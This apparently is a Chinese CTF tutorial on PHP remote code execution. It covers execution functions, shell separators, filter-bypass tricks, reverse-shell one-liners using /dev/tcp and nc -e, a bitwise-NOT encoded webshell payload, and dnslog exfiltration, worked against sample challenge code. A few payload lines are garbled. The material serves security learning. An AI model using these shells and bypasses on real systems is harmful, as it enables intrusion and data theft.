目录
代码执行函数
eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等
命令执行函数
system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、等
system()
#string system ( string $command [, int &$return_var ] )
#system()函数执行有回显,将执行结果输出到页面上
<?php
system("whoami");
?>
exec()
<?php
echo exec("whoami");
?>
popen()
#resource popen ( string $command , string $mode )
#函数需要两个参数,一个是执行的命令command,另外一个是指针文件的连接模式mode,有r和w代表读#和写。函数不会直接返回执行结果,而是返回一个文件指针,但是命令已经执行
<?php popen( 'whoami >> c:/1.txt', 'r' ); ?>
<?php
$test = "ls /tmp/test";
$fp = popen($test,"r"); //popen打一个进程通道
while (!feof($fp)) { //从通道里面取得东西
$out = fgets($fp, 4096);
echo $out; //打印出来
}
pclose($fp);
?>
proc_open()
resource proc_open (
string $cmd ,
array $descriptorspec ,
array &$pipes [, string $cwd [, array $env [, array $other_options ]]]
)
#与Popen函数类似,但是可以提供双向管道
<?php
$test = "ipconfig";
$array = array(
array("pipe","r"), //标准输入
array("pipe","w"), //标准输出内容
array("pipe","w") //标准输出错误
);
$fp = proc_open($test,$array,$pipes); //打开一个进程通道
echo stream_get_contents($pipes[1]); //为什么是$pipes[1],因为1是输出内容
proc_close($fp);
?>
passthru()
#void passthru ( string $command [, int &$return_var ] )
<?php
passthru("whoami");
?>
shell_exec()
#string shell_exec( string &command)
<?php
echo shell_exec("whoami");
?>
反引号`
#shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体,当禁用shell_exec时,` 也不可执行
<?php
echo `whoami`;
?>
pcntl_exec()
#void pcntl_exec ( string $path [, array $args [, array $envs ]] )
#path是可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本
#args是一个要传递给程序的参数的字符串数组。
#pcntl是linux下的一个扩展,需要额外安装,可以支持 php 的多线程操作。
#pcntl_exec函数的作用是在当前进程空间执行指定程序,版本要求:PHP > 4.2.0
<?php
pcntl_exec ( "/bin/bash" , array("whoami"));
?>
常用的管道符
windows系统支持的管道符:
管道符 含义 | 直接执行后面的语句。例如:ping 127.0.0.1| whoami || 如果前面执行的语句执行出错,则执行后面的语句,前面的语句只能为假。例如:ping 127.0.0.1 || whoami & 如果前面的语句为假则执行后面的语句,前面的语句可真可假。例如:ping 127.0.0.1&whoami && 如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句只能为真。例如:ping 127.0.0.1&&whoami
Linux系统支持的管道符:
管道符 含义 ; 执行完前面的语句在执行后面的,例如:127.0.0.1; whoami ! 显示后面的执行结果。例如:ping!whoami !! 当前面的语句执行出错时,执行后面的语句,例如:ping1!!whoami & 如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如:ping127.0.0.1&whoami && 如果前面的语句为假则直接出错,也不执行后面的,前面的语句只能为真。例如:ping127.0.0.1&&whoami
读取文件内容常用方法
cat/ tac /nl /more/ less /head /tail /od
过滤空格的解决办法
$IFS ${IFS} $IFS$1 //$1改成$加其他数字貌似都行 (实例:?ip=127.0.0.1|cat$IFS$1flag.php < <> {cat,flag.php} //用逗号实现了空格功能 %20 %09
过滤了flag的解决办法
1.cat fl* 利用*匹配任意 2.echo “Y2F0IGZsYWcucGhw”| base64 -d | bash 3.ca\t fl\ag.php 4.cat fl"ag.php
多个符号被过滤时可以利用$a变量进行覆盖(实例:?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php)
内联执行
方法:将反引号内命令的输出作为输入执行(?ip=127.0.0.1;cat$IFS$1ls
)
无回显rce
方法1:反弹shell
其实在无回显的RCE中,我们输入的命令是执行了的,只是不给我们显示出来。我们可以输入用来反弹shell的命令来拿到对方服务器的权限。
我们可以输入 bash -i >& /dev/tcp/ip/port 0>&1
这个命令,通过自己服务器的监听来对对方服务器进行查询,这时候就不会有过滤限制和无回显的限制了。
就可以尽情的无限制的命令执行了。也可以用 nc -e /bin/sh ip port
这条命令。
方法2:重定向
将输出保存到文件中而不是显示出来。
">" 会将输出的写入到一个文件中,并替换掉这个文件中原有的内容。
">>" 写入到一个文件,并不会替换掉原有内容。
基本格式
command > file .txt
如果你写的文件不存在,它会自动生成一个文件。
command > file .txt 2>&1
将输出和错误信息也保存在同一个文件中。
方法3:tee命令
标准输入读取再写入标准输出和文件中(tee命令详情百度)
命令格式
command | tee file .txt
同样的,文件不存在自动创建。
command | tee -a file .txt
-a参数,增加附加功能。
其他的还有copy对输出的内容进行复制,压缩等方法。
方法4:dnslog外带数据法
DNS(域名解析):
域名解析是把域名指向网站空间IP,让人们通过注册的域名可以方便地访问到网站的一种服务。IP地址是网络上标识站点的数字地址,为了方便记忆,采用域名来代替IP地址标识站点地址。域名解析就是域名到IP地址的转换过程。域名的解析工作由DNS服务器完成。
域名解析也叫域名指向、服务器设置、域名配置以及反向IP登记等等。说得简单点就是将好记的域名解析成IP,服务由DNS服务器完成,是把域名解析到一个IP地址,然后在此IP地址的主机上将一个子目录与域名绑定。
而如果我们发起请求的目标不是IP地址而是域名的话,就一定会发生一次域名解析,那么假如我们有一个可控的二级域名,那么当它向下一层域名发起解析的时候,我们就能拿到它的域名解析请求。这就相当于配合dns请求完成对命令执行的判断,这就称之为dnslog。当然,发起一个dns请求需要通过linux中的ping
命令或者curl
命令哈
实例1:?>提前结束php代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_POST['code'];
if(isset($code)){
$code = str_replace("?","",$code);
eval("?>".$code);
}
像这种情况可以通过script标签开启php标记,payload
code=<script language="php" >system('cat ../../../f1agaaa');</script>
实例2:过滤了ls以及通配符
<?php
error_reporting(0);
highlight_file(__FILE__);
$cmd=$_POST['cmd'];
if(!preg_match("/system|eval|assert|include|require|echo|more|less|cat|tac|ls|\*|\?| |\~|\^/i",$cmd)){
if($_COOKIE['GUET']=='I want to; get flag'){
$cmd = str_replace("flag","",$cmd);
eval($cmd);
}
}
?>
payload
1、Cookie:GUET=I want to%3B get flag ;cmd=passthru(env); 2、Cookie:GUET=I want to%3B get flag ;cmd=highlight_file(next(array_reverse(scandir(pos(localenv()))))); 3、Cookie:GUET=I want to%3B get flag ;cmd=print_r(scandir(pos(localeconv()))) //查看目录所有文件 ;show_source(next(array_reverse(scandir(pos(localeconv())))))
实例3:过滤了字母和数字
<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("hacker!");
}
@eval($code);
?>
这种情况可以使用取反的方法来构造payload。取反符号:~
需要注意的是,由于它取反之后会有大量不可显字符,所以我们同样需要将其url编码,然后当我们要用的时候,再利用取反符号把它们取回来即可。
$_=~(%9E%8C%8C%9A%8D%8B); //这里利用取反符号把它取回来,$_=assert $__=~(%A0%AF%B0%AC%AB); //$__=_POST $___=$$__; //$___=$_POST $_($___[_]); //assert($_POST[_]); 放到一排就是:
$_=~(%9E%8C%8C%9A%8D%8B);$__=~(%A0%AF%B0%AC%AB);$___=$$__;$_($___[_]);
所以payload为:
?code=$=~(%9E%8C%8C%9A%8D%8B);$=~(%A0%AF%B0%AC%AB);$_=$$__;$($__[]);
长度限制的情况
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
这种情况就构造一句话木马,用蚁剑连接。(蚁剑连接时的路径带上payload)
由于php版本问题,我们并不能直接构造<?php assert( P O S T [ 1 ] ) ; > , 我 们 需 要 调 用 e v a l 拼 接 为 a s s e r t ( e v a l ( _POST[1]);>,我们需要调用eval 拼接为 assert(eval( POST[′a′]);>,我们需要调用eval拼接为assert(eval(POST[1]));
构造payload:
<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo '(~'.$b.')';
$c='(eval($_POST[1]))';
$d=urlencode(~$c);
echo '(~'.$d.')';
?>
#运行结果
(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6);
payload :
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6);
php5和php7的区别
在研究无数字字母rce的过程中,一个很重要的函数就是assert
,但在php5的版本和php7的版本中,它是有一些区别的,我们上面的测试都是基于php5进行的,在php5中assert是一个函数,我们可以通过$f='assert';$f(...);
这样的方法来动态执行任意代码,在php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码,但是在php7中,我们可以使用($a)()这种方法来执行命令,那相当于我们对phpinfo取反后就可以直接执行了,也可以选择file_put_contents()来写入shell,在php5中这样是不行的。
实例4:无回显(dnslog外带数据法)
题目源码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>give me a girl</title>
</head>
<body>
<center><h1>珍爱网</h1></center>
</body>
</html>
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
die("where is P3rh4ps's girl friend ???");
} else {
$girl = $_POST['girl_friend'];
if (preg_match('/\>|\\\/', $girl)) {
die('just girl');
} else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
} else {
//duangShell~~~~
exec($girl);
}
}
可以看到,这就是一个有过滤情况下的无回显rce,虽然是看起来过滤的比较多,基本思路是反弹shell,但这个靶机在内网操作起来可能有点麻烦,而且像一些重要的比如curl
反引号
都没有被过滤掉,所以说我想尝试直接把数据外带出来,先尝试whoami
发现没问题:
那就说明除了上面那些被禁的函数以外,可以执行任何命令,不过禁了ls是真的烦,然后由于它禁了$
,上篇文章中讲到的找flag的语句cat $(find / -name flag*)
就用不了了,猜测它在根目录下名字叫flag,试试行不行,cat
被过滤掉了我就直接用tac
,
但是该flag文件提示让我们自己去查找flag,用find命令进行查找find / -name flag
发现了flag路径,进行读取